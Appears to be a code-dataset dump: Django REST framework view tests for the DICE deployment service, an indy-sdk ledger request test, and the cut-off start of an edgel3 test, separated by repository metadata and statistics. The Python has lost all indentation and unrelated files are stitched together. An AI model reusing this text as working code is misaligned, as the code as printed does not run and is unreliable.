| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 1
| 0
|
0
| 7
|
726839af1d4b202a3450d9fd6e69b828549c7f90
| 30,591
|
py
|
Python
|
dice_deploy_django/cfy_wrapper/tests/test_views.py
|
dice-project/DICE-deployment-service
|
e209c6a061a78f170e81cfc03d2959af0283ed15
|
[
"Apache-2.0"
] | 2
|
2018-04-03T20:45:26.000Z
|
2022-02-07T19:53:42.000Z
|
dice_deploy_django/cfy_wrapper/tests/test_views.py
|
dice-project/DICE-deployment-service
|
e209c6a061a78f170e81cfc03d2959af0283ed15
|
[
"Apache-2.0"
] | 3
|
2016-11-15T10:41:43.000Z
|
2020-03-16T07:49:03.000Z
|
dice_deploy_django/cfy_wrapper/tests/test_views.py
|
dice-project/DICE-deployment-service
|
e209c6a061a78f170e81cfc03d2959af0283ed15
|
[
"Apache-2.0"
] | 2
|
2018-07-04T11:37:12.000Z
|
2022-02-07T19:53:43.000Z
|
from .base import BaseViewTest, date2str, identity, Field
from cfy_wrapper.models import Blueprint, Container, Input, Error
from cfy_wrapper.views import (
HeartBeatView,
ContainersView,
ContainerIdView,
ContainerBlueprintView,
ContainerNodesView,
ContainerErrorsView,
InputsView,
BlueprintIdView
)
from django.core.urlresolvers import reverse
from rest_framework.response import Response
from rest_framework import status
import mock
import json
import io
CONTAINER_FIELDS = (
Field("id", str, "id"),
Field("description", identity, "description"),
Field("modified_date", date2str, "modified_date"),
# Blueprint field is tested separately
)
BLUEPRINT_FIELDS = (
Field("cfy_id", identity, "id"),
Field("state_name", identity, "state_name"),
Field("modified_date", date2str, "modified_date"),
Field("outputs", identity, "outputs")
)
INPUT_FIELDS = (
Field("key", identity, "key"),
Field("value", identity, "value"),
Field("description", identity, "description"),
)
ERROR_FIELDS = (
Field("id", str, "id"),
Field("message", identity, "message"),
Field("created", date2str, "created"),
)
class HeartBeatTest(BaseViewTest):
def test_alive_no_auth(self):
req = self.get(reverse("heartbeat"), auth=False)
resp = HeartBeatView.as_view()(req)
self.assertEqual(status.HTTP_200_OK, resp.status_code)
def test_alive_auth(self):
req = self.get(reverse("heartbeat"), auth=True)
resp = HeartBeatView.as_view()(req)
self.assertEqual(status.HTTP_200_OK, resp.status_code)
class ContainersTest(BaseViewTest):
def test_not_auth(self):
req = self.get(reverse("containers"), auth=False)
resp = ContainersView.as_view()(req)
self.assertEqual(status.HTTP_401_UNAUTHORIZED, resp.status_code)
@mock.patch.object(ContainersView, "get", return_value=Response({}))
def test_get_route(self, mock_method):
url = reverse("containers")
self.client.get(url)
mock_method.assert_called_once()
def test_get_empty(self):
cs = [Container.objects.create() for _ in range(4)]
req = self.get(reverse("containers"), auth=True)
resp = ContainersView.as_view()(req)
self.assertEqual(status.HTTP_200_OK, resp.status_code)
self.compare(CONTAINER_FIELDS, resp.data, cs)
for item in resp.data:
self.assertIsNone(item["blueprint"])
def test_get_render_empty(self):
cs = [Container.objects.create() for _ in range(3)]
url = reverse("containers")
resp = self.client.get(url)
self.assertEqual(status.HTTP_200_OK, resp.status_code)
data = json.loads(resp.content)
self.compare(CONTAINER_FIELDS, data, cs)
for item in data:
self.assertIsNone(item["blueprint"])
def test_get_non_empty(self):
b = Blueprint.objects.create()
c = Container.objects.create(blueprint=b)
req = self.get(reverse("containers"), auth=True)
resp = ContainersView.as_view()(req)
self.assertEqual(status.HTTP_200_OK, resp.status_code)
self.compare(CONTAINER_FIELDS, resp.data, c)
self.compare(BLUEPRINT_FIELDS, resp.data[0]["blueprint"], b)
def test_get_render_non_empty(self):
b = Blueprint.objects.create()
c = Container.objects.create(blueprint=b)
url = reverse("containers")
resp = self.client.get(url)
self.assertEqual(status.HTTP_200_OK, resp.status_code)
data = json.loads(resp.content)
self.compare(CONTAINER_FIELDS, data, c)
self.compare(BLUEPRINT_FIELDS, data[0]["blueprint"], b)
def test_get_no_containers(self):
req = self.get(reverse("containers"), auth=True)
resp = ContainersView.as_view()(req)
self.assertEqual(status.HTTP_200_OK, resp.status_code)
self.assertEqual([], resp.data)
def test_get_no_containers_render(self):
url = reverse("containers")
resp = self.client.get(url)
self.assertEqual(status.HTTP_200_OK, resp.status_code)
data = json.loads(resp.content)
self.assertEqual([], data)
@mock.patch.object(ContainersView, "post", return_value=Response({}))
def test_post_route(self, mock_method):
url = reverse("containers")
self.client.post(url)
mock_method.assert_called_once()
def test_post(self):
data = {"description": "sample-desc"}
req = self.post(reverse("containers"), data, auth=True)
resp = ContainersView.as_view()(req)
self.assertEqual(status.HTTP_201_CREATED, resp.status_code)
c = Container.objects.all()[0]
self.compare(CONTAINER_FIELDS, resp.data, c)
self.assertIsNone(resp.data["blueprint"])
def test_post_render(self):
data = {"description": "sample-desc"}
url = reverse("containers")
resp = self.client.post(url, data=data)
self.assertEqual(status.HTTP_201_CREATED, resp.status_code)
data = json.loads(resp.content)
c = Container.objects.all()[0]
self.compare(CONTAINER_FIELDS, data, c)
self.assertIsNone(data["blueprint"])
class ContainerIdTest(BaseViewTest):
def test_not_auth(self):
kw = dict(id="abc")
req = self.get(reverse("container_id", kwargs=kw), auth=False)
resp = ContainerIdView.as_view()(req, **kw)
self.assertEqual(status.HTTP_401_UNAUTHORIZED, resp.status_code)
@mock.patch.object(ContainerIdView, "get", return_value=Response({}))
def test_get_route(self, mock_method):
kw = dict(id="abc")
url = reverse("container_id", kwargs=kw)
self.client.get(url)
mock_method.assert_called_once()
def test_get_empty(self):
c = Container.objects.create()
kw = dict(id=str(c.id))
req = self.get(reverse("container_id", kwargs=kw), auth=True)
resp = ContainerIdView.as_view()(req, **kw)
self.assertEqual(status.HTTP_200_OK, resp.status_code)
self.compare(CONTAINER_FIELDS, resp.data, c)
self.assertIsNone(resp.data["blueprint"])
def test_get_render_empty(self):
c = Container.objects.create()
kw = dict(id=str(c.id))
url = reverse("container_id", kwargs=kw)
resp = self.client.get(url)
self.assertEqual(status.HTTP_200_OK, resp.status_code)
data = json.loads(resp.content)
self.compare(CONTAINER_FIELDS, data, c)
self.assertIsNone(data["blueprint"])
def test_get_non_empty(self):
b = Blueprint.objects.create()
c = Container.objects.create(blueprint=b)
kw = dict(id=str(c.id))
req = self.get(reverse("container_id", kwargs=kw), auth=True)
resp = ContainerIdView.as_view()(req, **kw)
self.assertEqual(status.HTTP_200_OK, resp.status_code)
self.compare(CONTAINER_FIELDS, resp.data, c)
self.compare(BLUEPRINT_FIELDS, resp.data["blueprint"], b)
def test_get_render_non_empty(self):
b = Blueprint.objects.create()
c = Container.objects.create(blueprint=b)
kw = dict(id=str(c.id))
url = reverse("container_id", kwargs=kw)
resp = self.client.get(url)
self.assertEqual(status.HTTP_200_OK, resp.status_code)
data = json.loads(resp.content)
self.compare(CONTAINER_FIELDS, data, c)
self.compare(BLUEPRINT_FIELDS, data["blueprint"], b)
def test_get_no_containers(self):
kw = dict(id="abc")
req = self.get(reverse("container_id", kwargs=kw), auth=True)
resp = ContainerIdView.as_view()(req, **kw)
self.assertEqual(status.HTTP_404_NOT_FOUND, resp.status_code)
self.assertIn("detail", resp.data)
@mock.patch.object(ContainerIdView, "delete", return_value=Response({}))
def test_delete_route(self, mock_method):
kw = dict(id="abc")
url = reverse("container_id", kwargs=kw)
self.client.delete(url)
mock_method.assert_called_once()
def test_delete_empty(self):
c = Container.objects.create()
kw = dict(id=str(c.id))
req = self.delete(reverse("container_id", kwargs=kw), auth=True)
resp = ContainerIdView.as_view()(req, **kw)
self.assertEqual(status.HTTP_204_NO_CONTENT, resp.status_code)
def test_delete_render_empty(self):
c = Container.objects.create()
kw = dict(id=str(c.id))
url = reverse("container_id", kwargs=kw)
resp = self.client.delete(url)
self.assertEqual(status.HTTP_204_NO_CONTENT, resp.status_code)
def test_delete_non_empty(self):
b = Blueprint.objects.create()
c = Container.objects.create(blueprint=b)
kw = dict(id=str(c.id))
req = self.delete(reverse("container_id", kwargs=kw), auth=True)
resp = ContainerIdView.as_view()(req, **kw)
self.assertEqual(status.HTTP_400_BAD_REQUEST, resp.status_code)
self.assertIn("detail", resp.data)
def test_delete_render_non_empty(self):
b = Blueprint.objects.create()
c = Container.objects.create(blueprint=b)
kw = dict(id=str(c.id))
url = reverse("container_id", kwargs=kw)
resp = self.client.delete(url)
self.assertEqual(status.HTTP_400_BAD_REQUEST, resp.status_code)
self.assertIn("detail", resp.data)
def test_delete_no_containers(self):
kw = dict(id="abc")
req = self.delete(reverse("container_id", kwargs=kw), auth=True)
resp = ContainerIdView.as_view()(req, **kw)
self.assertEqual(status.HTTP_404_NOT_FOUND, resp.status_code)
self.assertIn("detail", resp.data)
class ContainerBlueprintTest(BaseViewTest):
def test_not_auth(self):
kw = dict(id="abc")
req = self.get(reverse("container_blueprint", kwargs=kw), auth=False)
resp = ContainerBlueprintView.as_view()(req, **kw)
self.assertEqual(status.HTTP_401_UNAUTHORIZED, resp.status_code)
@mock.patch.object(ContainerBlueprintView, "get",
return_value=Response({}))
def test_get_route(self, mock_get):
kw = dict(id="abc")
url = reverse("container_blueprint", kwargs=kw)
self.client.get(url, **kw)
mock_get.assert_called_once()
def test_get(self):
b = Blueprint.objects.create()
c = Container.objects.create(blueprint=b)
kw = dict(id=str(c.id))
req = self.get(reverse("container_blueprint", kwargs=kw), auth=True)
resp = ContainerBlueprintView.as_view()(req, **kw)
self.assertEqual(status.HTTP_200_OK, resp.status_code)
self.compare(BLUEPRINT_FIELDS, resp.data, b)
def test_get_render(self):
b = Blueprint.objects.create()
c = Container.objects.create(blueprint=b)
kw = dict(id=str(c.id))
url = reverse("container_blueprint", kwargs=kw)
resp = self.client.get(url)
self.assertEqual(status.HTTP_200_OK, resp.status_code)
data = json.loads(resp.content)
self.compare(BLUEPRINT_FIELDS, data, b)
def test_get_no_container(self):
kw = dict(id="abc")
req = self.get(reverse("container_blueprint", kwargs=kw), auth=True)
resp = ContainerBlueprintView.as_view()(req, **kw)
self.assertEqual(status.HTTP_404_NOT_FOUND, resp.status_code)
self.assertIn("detail", resp.data)
def test_get_no_blueprint(self):
c = Container.objects.create()
kw = dict(id=str(c.id))
req = self.get(reverse("container_blueprint", kwargs=kw), auth=True)
resp = ContainerBlueprintView.as_view()(req, **kw)
self.assertEqual(status.HTTP_400_BAD_REQUEST, resp.status_code)
self.assertIn("detail", resp.data)
@mock.patch.object(ContainerBlueprintView, "post",
return_value=Response({}))
def test_post_route(self, mock_method):
kw = dict(id="abc")
url = reverse("container_blueprint", kwargs=kw)
self.client.post(url)
mock_method.assert_called_once()
@mock.patch("cfy_wrapper.tasks.sync_container", return_value=(True, "OK"))
def test_post_no_file(self, mock_sync):
c = Container.objects.create()
kw = dict(id=str(c.id))
req = self.post(reverse("container_blueprint", kwargs=kw),
data=None, auth=True)
resp = ContainerBlueprintView.as_view()(req, **kw)
self.assertEqual(status.HTTP_400_BAD_REQUEST, resp.status_code)
self.assertIn("detail", resp.data)
self.assertIsNone(c.blueprint)
self.assertEqual(0, Blueprint.objects.all().count())
mock_sync.assert_not_called()
@mock.patch("cfy_wrapper.tasks.sync_container", return_value=(True, "OK"))
def test_post_invalid_file(self, mock_sync):
c = Container.objects.create()
b = io.StringIO(u"} not { valid } yaml {{")
kw = dict(id=str(c.id))
req = self.post(reverse("container_blueprint", kwargs=kw),
data={"file": b}, auth=True, format="multipart")
resp = ContainerBlueprintView.as_view()(req, **kw)
self.assertEqual(status.HTTP_400_BAD_REQUEST, resp.status_code)
self.assertIn("detail", resp.data)
c.refresh_from_db()
self.assertIsNone(c.blueprint)
self.assertEqual(0, Blueprint.objects.all().count())
mock_sync.assert_not_called()
@mock.patch("cfy_wrapper.tasks.sync_container", return_value=(True, "OK"))
def test_post_valid_empty_success(self, mock_sync):
c = Container.objects.create()
b = io.StringIO(u"valid: yaml")
kw = dict(id=str(c.id))
req = self.post(reverse("container_blueprint", kwargs=kw),
data={"file": b}, auth=True, format="multipart")
resp = ContainerBlueprintView.as_view()(req, **kw)
self.assertEqual(status.HTTP_202_ACCEPTED, resp.status_code)
mock_sync.assert_called_once()
self.assertEqual(mock_sync.mock_calls[0][1][0], c)
self.assertEqual(mock_sync.mock_calls[0][1][2], False)
@mock.patch("cfy_wrapper.tasks.sync_container", return_value=(True, "OK"))
def test_post_valid_empty_success_register(self, mock_sync):
c = Container.objects.create()
b = io.StringIO(u"valid: yaml")
kw = dict(id=str(c.id))
req = self.post(reverse("container_blueprint", kwargs=kw) +
"?register_app=True",
data={"file": b}, auth=True, format="multipart")
resp = ContainerBlueprintView.as_view()(req, **kw)
self.assertEqual(status.HTTP_202_ACCEPTED, resp.status_code)
mock_sync.assert_called_once()
self.assertEqual(mock_sync.mock_calls[0][1][0], c)
self.assertEqual(mock_sync.mock_calls[0][1][2], True)
@mock.patch("cfy_wrapper.tasks.sync_container", return_value=(True, "OK"))
def test_post_valid_empty_success_no_register(self, mock_sync):
c = Container.objects.create()
b = io.StringIO(u"valid: yaml")
kw = dict(id=str(c.id))
req = self.post(reverse("container_blueprint", kwargs=kw) +
"?register_app=false",
data={"file": b}, auth=True, format="multipart")
resp = ContainerBlueprintView.as_view()(req, **kw)
self.assertEqual(status.HTTP_202_ACCEPTED, resp.status_code)
mock_sync.assert_called_once()
self.assertEqual(mock_sync.mock_calls[0][1][0], c)
self.assertEqual(mock_sync.mock_calls[0][1][2], False)
@mock.patch("cfy_wrapper.tasks.sync_container", return_value=(True, "OK"))
def test_post_valid_empty_success_metadata(self, mock_sync):
c = Container.objects.create()
b = io.StringIO(u"valid: yaml")
kw = dict(id=str(c.id))
metadata = {"mkey 1": "mvalue 1", "mkey 2": "mvalue 2"}
data = {"file": b}
data.update(metadata)
req = self.post(
reverse("container_blueprint", kwargs=kw) + "?register_app=True",
data=data, auth=True, format="multipart"
)
resp = ContainerBlueprintView.as_view()(req, **kw)
blueprint = list(Blueprint.objects.all())[0]
stored_metadata = {m.key: m.value for m in blueprint.metadata.all()}
self.assertEqual(metadata, stored_metadata)
self.assertEqual(status.HTTP_202_ACCEPTED, resp.status_code)
mock_sync.assert_called_once()
self.assertEqual(mock_sync.mock_calls[0][1][0], c)
self.assertEqual(mock_sync.mock_calls[0][1][2], True)
@mock.patch("cfy_wrapper.tasks.sync_container", return_value=(False, "NO"))
def test_post_valid_empty_fail(self, mock_sync):
c = Container.objects.create()
b = io.StringIO(u"valid: yaml")
kw = dict(id=str(c.id))
req = self.post(reverse("container_blueprint", kwargs=kw),
data={"file": b}, auth=True, format="multipart")
resp = ContainerBlueprintView.as_view()(req, **kw)
self.assertEqual(status.HTTP_409_CONFLICT, resp.status_code)
mock_sync.assert_called_once()
self.assertEqual(mock_sync.mock_calls[0][1][0], c)
self.assertEqual(mock_sync.mock_calls[0][1][2], False)
def test_post_no_container(self):
kw = dict(id="abc")
b = io.StringIO(u"valid: yaml")
req = self.post(reverse("container_blueprint", kwargs=kw),
data={"file": b}, auth=True)
resp = ContainerBlueprintView.as_view()(req, **kw)
self.assertEqual(status.HTTP_404_NOT_FOUND, resp.status_code)
self.assertIn("detail", resp.data)
@mock.patch.object(ContainerBlueprintView, "delete",
return_value=Response({}))
def test_delete_route(self, mock_method):
kw = dict(id="abc")
url = reverse("container_blueprint", kwargs=kw)
self.client.delete(url)
mock_method.assert_called_once()
def test_delete_invalid_container(self):
kw = dict(id="abc")
req = self.delete(reverse("container_blueprint", kwargs=kw), auth=True)
resp = ContainerBlueprintView.as_view()(req, **kw)
self.assertEqual(status.HTTP_404_NOT_FOUND, resp.status_code)
self.assertIn("detail", resp.data)
def test_delete_busy_container(self):
b = Blueprint.objects.create()
c = Container.objects.create(busy=True, blueprint=b)
kw = dict(id=str(c.id))
req = self.delete(reverse("container_blueprint", kwargs=kw), auth=True)
resp = ContainerBlueprintView.as_view()(req, **kw)
self.assertEqual(status.HTTP_409_CONFLICT, resp.status_code)
self.assertIn("detail", resp.data)
c.refresh_from_db()
self.assertEqual(b, c.blueprint)
def test_delete_no_blueprint(self):
c = Container.objects.create()
kw = dict(id=str(c.id))
req = self.delete(reverse("container_blueprint", kwargs=kw), auth=True)
resp = ContainerBlueprintView.as_view()(req, **kw)
self.assertEqual(status.HTTP_400_BAD_REQUEST, resp.status_code)
self.assertIn("detail", resp.data)
@mock.patch("cfy_wrapper.tasks.sync_container", return_value=(True, "OK"))
def test_delete_sync_success(self, mock_sync):
b = Blueprint.objects.create()
c = Container.objects.create(blueprint=b)
kw = dict(id=str(c.id))
req = self.delete(reverse("container_blueprint", kwargs=kw), auth=True)
resp = ContainerBlueprintView.as_view()(req, **kw)
self.assertEqual(status.HTTP_202_ACCEPTED, resp.status_code)
mock_sync.assert_called_once()
self.assertEqual(mock_sync.mock_calls[0][1][0], c)
self.assertIsNone(mock_sync.mock_calls[0][1][1])
self.assertEqual(mock_sync.mock_calls[0][1][2], False)
@mock.patch("cfy_wrapper.tasks.sync_container", return_value=(False, "NO"))
def test_delete_sync_fail(self, mock_sync):
b = Blueprint.objects.create()
c = Container.objects.create(blueprint=b)
kw = dict(id=str(c.id))
req = self.delete(reverse("container_blueprint", kwargs=kw), auth=True)
resp = ContainerBlueprintView.as_view()(req, **kw)
self.assertEqual(status.HTTP_409_CONFLICT, resp.status_code)
mock_sync.assert_called_once()
self.assertEqual(mock_sync.mock_calls[0][1][0], c)
self.assertIsNone(mock_sync.mock_calls[0][1][1])
class InputsTest(BaseViewTest):
def test_not_auth(self):
req = self.get(reverse("inputs"), auth=False)
resp = InputsView.as_view()(req)
self.assertEqual(status.HTTP_401_UNAUTHORIZED, resp.status_code)
@mock.patch.object(InputsView, "get",
return_value=Response({}))
def test_get_route(self, mock_get):
url = reverse("inputs")
self.client.get(url)
mock_get.assert_called_once()
def test_get(self):
ins = [Input.objects.create(key=str(n), value="v") for n in range(4)]
req = self.get(reverse("inputs"), auth=True)
resp = InputsView.as_view()(req)
self.assertEqual(status.HTTP_200_OK, resp.status_code)
self.compare(INPUT_FIELDS, resp.data, ins)
def test_get_render(self):
ins = [Input.objects.create(key=str(n), value="v") for n in range(4)]
url = reverse("inputs")
resp = self.client.get(url)
self.assertEqual(status.HTTP_200_OK, resp.status_code)
data = json.loads(resp.content)
self.compare(INPUT_FIELDS, data, ins)
def test_get_empty(self):
req = self.get(reverse("inputs"), auth=True)
resp = InputsView.as_view()(req)
self.assertEqual(status.HTTP_200_OK, resp.status_code)
self.assertEqual(resp.data, [])
@mock.patch.object(InputsView, "post",
return_value=Response({}))
def test_post_route(self, mock_get):
url = reverse("inputs")
self.client.post(url)
mock_get.assert_called_once()
def test_post(self):
data = [{
"key": "k1",
"value": "v1",
"description": "d1",
}, {
"key": "k2",
"value": "v2",
}]
req = self.post(reverse("inputs"), data, auth=True)
resp = InputsView.as_view()(req)
self.assertEqual(status.HTTP_201_CREATED, resp.status_code)
ins = list(Input.objects.all())
self.compare(INPUT_FIELDS, resp.data, ins)
def test_post_render(self):
data = [{
"key": "k1",
"value": "v1",
"description": "d1",
}, {
"key": "k2",
"value": "v2",
}]
url = reverse("inputs")
resp = self.client.post(url, data=data, format="json")
self.assertEqual(status.HTTP_201_CREATED, resp.status_code)
ins = list(Input.objects.all())
data = json.loads(resp.content)
self.compare(INPUT_FIELDS, data, ins)
def test_post_invalid(self):
data = [{
"key": "k1",
"description": "d1",
}, {
"key": "k2",
"value": "v2",
}]
req = self.post(reverse("inputs"), data, auth=True)
resp = InputsView.as_view()(req)
self.assertEqual(status.HTTP_400_BAD_REQUEST, resp.status_code)
self.assertEqual(0, Input.objects.all().count())
self.assertEqual(2, len(resp.data))
@mock.patch.object(InputsView, "delete",
return_value=Response({}))
def test_delete_route(self, mock_get):
url = reverse("inputs")
self.client.delete(url)
mock_get.assert_called_once()
def test_delete(self):
for n in range(4):
Input.objects.create(key=str(n), value="v")
req = self.delete(reverse("inputs"), auth=True)
resp = InputsView.as_view()(req)
self.assertEqual(status.HTTP_204_NO_CONTENT, resp.status_code)
self.assertEqual(0, Input.objects.all().count())
class ContainerNodesTest(BaseViewTest):
def test_not_auth(self):
c = Container.objects.create()
kw = dict(id=c.cfy_id)
req = self.get(reverse("container_nodes", kwargs=kw), auth=False)
resp = ContainerNodesView.as_view()(req, **kw)
self.assertEqual(status.HTTP_401_UNAUTHORIZED, resp.status_code)
@mock.patch.object(ContainerNodesView, "get", return_value=Response({}))
def test_get_route(self, mock_method):
c = Container.objects.create()
kw = dict(id=c.cfy_id)
url = reverse("container_nodes", kwargs=kw)
self.client.get(url)
mock_method.assert_called_once()
def test_get_empty(self):
c = Container.objects.create()
kw = dict(id=c.cfy_id)
req = self.get(reverse("container_nodes", kwargs=kw), auth=True)
resp = ContainerNodesView.as_view()(req, **kw)
self.assertEqual(status.HTTP_200_OK, resp.status_code)
self.assertEqual(len(resp.data), 0)
@mock.patch("cfy_wrapper.utils.CloudifyClient")
def test_get_non_empty(self, mock_cfy):
b = Blueprint.objects.create()
c = Container.objects.create(blueprint=b)
kw = dict(id=c.cfy_id)
req = self.get(reverse("container_nodes", kwargs=kw), auth=True)
node_call = mock_cfy.return_value.nodes.list
node_call.return_value = [
mock.Mock(id="nid1", type="node.Type1"),
mock.Mock(id="nid2", type="node.Type2")
]
list_call = mock_cfy.return_value.node_instances.list
list_call.return_value = [
mock.Mock(id="id1", node_id="nid1", host_id="id1",
runtime_properties=dict(ip="127.0.0.1")),
mock.Mock(id="id2", node_id="nid2", host_id="id1",
runtime_properties=dict(ip="127.0.0.3")),
mock.Mock(id="id3", node_id="nid2", host_id=None),
]
resp = ContainerNodesView.as_view()(req, c.cfy_id)
self.assertEqual(status.HTTP_200_OK, resp.status_code)
self.assertEqual(1, len(resp.data))
self.assertEqual({"node.Type1", "node.Type2"},
set(resp.data[0]["components"]))
del resp.data[0]["components"]
self.assertEqual({"id": "id1", "node_id": "nid1", "ip": "127.0.0.1"},
resp.data[0])
class BlueprintIdTest(BaseViewTest):
@mock.patch("cfy_wrapper.tasks.sync_container", return_value=(True, "OK"))
def test_delete_sync_success(self, mock_sync):
b = Blueprint.objects.create()
c = Container.objects.create(blueprint=b)
kw = dict(blueprint_id=str(b.id))
req = self.delete(reverse("blueprint_id", kwargs=kw), auth=True)
resp = BlueprintIdView.as_view()(req, **kw)
self.assertEqual(status.HTTP_202_ACCEPTED, resp.status_code)
mock_sync.assert_called_once()
self.assertEqual(mock_sync.mock_calls[0][1][0], c)
self.assertIsNone(mock_sync.mock_calls[0][1][1])
@mock.patch("cfy_wrapper.tasks.sync_container", return_value=(True, "OK"))
def test_delete_sync_fail_no_container(self, mock_sync):
b = Blueprint.objects.create()
kw = dict(blueprint_id=str(b.id))
req = self.delete(reverse("blueprint_id", kwargs=kw), auth=True)
resp = BlueprintIdView.as_view()(req, **kw)
self.assertEqual(status.HTTP_409_CONFLICT, resp.status_code)
mock_sync.assert_not_called()
@mock.patch("cfy_wrapper.tasks.sync_container", return_value=(False, "NO"))
def test_delete_sync_fail(self, mock_sync):
b = Blueprint.objects.create()
c = Container.objects.create(blueprint=b)
kw = dict(blueprint_id=str(b.id))
req = self.delete(reverse("blueprint_id", kwargs=kw), auth=True)
resp = BlueprintIdView.as_view()(req, **kw)
self.assertEqual(status.HTTP_409_CONFLICT, resp.status_code)
mock_sync.assert_called_once()
self.assertEqual(mock_sync.mock_calls[0][1][0], c)
self.assertIsNone(mock_sync.mock_calls[0][1][1])
class ContainerErrorsTest(BaseViewTest):
def test_not_auth(self):
c = Container.objects.create()
kw = dict(id=c.cfy_id)
req = self.get(reverse("container_errors", kwargs=kw), auth=False)
resp = ContainerErrorsView.as_view()(req, **kw)
self.assertEqual(status.HTTP_401_UNAUTHORIZED, resp.status_code)
@mock.patch.object(ContainerErrorsView, "get", return_value=Response({}))
def test_get_route(self, mock_method):
c = Container.objects.create()
kw = dict(id=c.cfy_id)
url = reverse("container_errors", kwargs=kw)
self.client.get(url)
mock_method.assert_called_once()
def test_get_empty(self):
b = Blueprint.objects.create()
c = Container.objects.create(blueprint=b)
kw = dict(id=c.cfy_id)
req = self.get(reverse("container_errors", kwargs=kw), auth=True)
resp = ContainerErrorsView.as_view()(req, **kw)
self.assertEqual(status.HTTP_200_OK, resp.status_code)
self.assertEqual([], resp.data)
def test_get_render_empty(self):
b = Blueprint.objects.create()
c = Container.objects.create(blueprint=b)
kw = dict(id=c.cfy_id)
url = reverse("container_errors", kwargs=kw)
resp = self.client.get(url)
self.assertEqual(status.HTTP_200_OK, resp.status_code)
data = json.loads(resp.content)
self.assertEqual([], data)
def test_get_non_empty(self):
b = Blueprint.objects.create()
b.log_error("message 1")
b.log_error("message 2")
c = Container.objects.create(blueprint=b)
kw = dict(id=c.cfy_id)
req = self.get(reverse("container_errors", kwargs=kw), auth=True)
resp = ContainerErrorsView.as_view()(req, **kw)
self.assertEqual(status.HTTP_200_OK, resp.status_code)
self.compare(ERROR_FIELDS, resp.data, list(Error.objects.all()))
def test_get_render_non_empty(self):
b = Blueprint.objects.create()
b.log_error("message 1")
b.log_error("message 2")
c = Container.objects.create(blueprint=b)
kw = dict(id=c.cfy_id)
url = reverse("container_errors", kwargs=kw)
resp = self.client.get(url)
self.assertEqual(status.HTTP_200_OK, resp.status_code)
data = json.loads(resp.content)
self.compare(ERROR_FIELDS, data, list(Error.objects.all()))
| 36.116883
| 79
| 0.637475
| 3,897
| 30,591
| 4.81319
| 0.050552
| 0.071973
| 0.066055
| 0.078637
| 0.904569
| 0.88319
| 0.861545
| 0.852962
| 0.832489
| 0.800021
| 0
| 0.013243
| 0.224935
| 30,591
| 846
| 80
| 36.159574
| 0.777857
| 0.001177
| 0
| 0.766615
| 0
| 0
| 0.078617
| 0.013616
| 0
| 0
| 0
| 0
| 0.213292
| 1
| 0.109737
| false
| 0
| 0.01391
| 0
| 0.136012
| 0.171561
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
72abf9ed90fc5c0a4c050e8118c4be692f92b71b
| 1,625
|
py
|
Python
|
wrappers/python/tests/ledger/test_build_revoc_reg_entry_request.py
|
absltkaos/indy-sdk
|
bc14c5b514dc1c76ce62dd7f6bf804120bf69f5e
|
[
"Apache-2.0"
] | 5
|
2018-04-09T12:26:28.000Z
|
2019-06-12T01:45:30.000Z
|
wrappers/python/tests/ledger/test_build_revoc_reg_entry_request.py
|
absltkaos/indy-sdk
|
bc14c5b514dc1c76ce62dd7f6bf804120bf69f5e
|
[
"Apache-2.0"
] | 9
|
2019-01-22T22:31:54.000Z
|
2019-04-11T21:45:09.000Z
|
wrappers/python/tests/ledger/test_build_revoc_reg_entry_request.py
|
absltkaos/indy-sdk
|
bc14c5b514dc1c76ce62dd7f6bf804120bf69f5e
|
[
"Apache-2.0"
] | 19
|
2018-04-25T16:08:43.000Z
|
2022-01-11T10:18:38.000Z
|
from indy import ledger
import json
import pytest
@pytest.mark.asyncio
async def test_build_revoc_reg_entry_request_work():
identifier = "Th7MpTaRZVRYnPiabds81Y"
rev_reg_entry_value = {
"ver": "1.0",
"value": {
"accum": "1 0000000000000000000000000000000000000000000000000000000000000000 1 0000000000000000000000000000000000000000000000000000000000000000 1 0000000000000000000000000000000000000000000000000000000000000000 1 0000000000000000000000000000000000000000000000000000000000000000 1 0000000000000000000000000000000000000000000000000000000000000000 1 0000000000000000000000000000000000000000000000000000000000000000"
}
}
rev_reg_def_id = "RevocRegID"
rev_reg_type = "CL_ACCUM"
expected_response = {
"operation": {
"type": "114",
"revocRegDefId": "RevocRegID",
"revocDefType": "CL_ACCUM",
"value": {"accum": "1 0000000000000000000000000000000000000000000000000000000000000000 1 0000000000000000000000000000000000000000000000000000000000000000 1 0000000000000000000000000000000000000000000000000000000000000000 1 0000000000000000000000000000000000000000000000000000000000000000 1 0000000000000000000000000000000000000000000000000000000000000000 1 0000000000000000000000000000000000000000000000000000000000000000"}
}
}
request = json.loads(await ledger.build_revoc_reg_entry_request(identifier, rev_reg_def_id, rev_reg_type,
json.dumps(rev_reg_entry_value)))
assert expected_response.items() <= request.items()
| 50.78125
| 435
| 0.764308
| 107
| 1,625
| 11.327103
| 0.383178
| 0.643564
| 0.544554
| 1.072607
| 0.70132
| 0.660066
| 0.660066
| 0.660066
| 0.660066
| 0.660066
| 0
| 0.590705
| 0.179077
| 1,625
| 31
| 436
| 52.419355
| 0.317841
| 0
| 0
| 0
| 0
| 0
| 0.570462
| 0.486154
| 0
| 0
| 0
| 0
| 0.04
| 1
| 0
| false
| 0
| 0.12
| 0
| 0.12
| 0
| 0
| 0
| 1
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
72b1aff095ca015b057616fe92709c034ec5a589
| 4,230
|
py
|
Python
|
tests/test_models.py
|
sanzgiri/edgel3
|
39a6e876ded897a723990ea4b81291e0a862bc81
|
[
"MIT"
] | null | null | null |
tests/test_models.py
|
sanzgiri/edgel3
|
39a6e876ded897a723990ea4b81291e0a862bc81
|
[
"MIT"
] | null | null | null |
tests/test_models.py
|
sanzgiri/edgel3
|
39a6e876ded897a723990ea4b81291e0a862bc81
|
[
"MIT"
] | null | null | null |
from edgel3.models import load_embedding_model, load_embedding_model_path
def test_load_embedding_model_path():
#check the output paths of ft models
embedding_model_path = load_embedding_model_path('ft', 53.5)
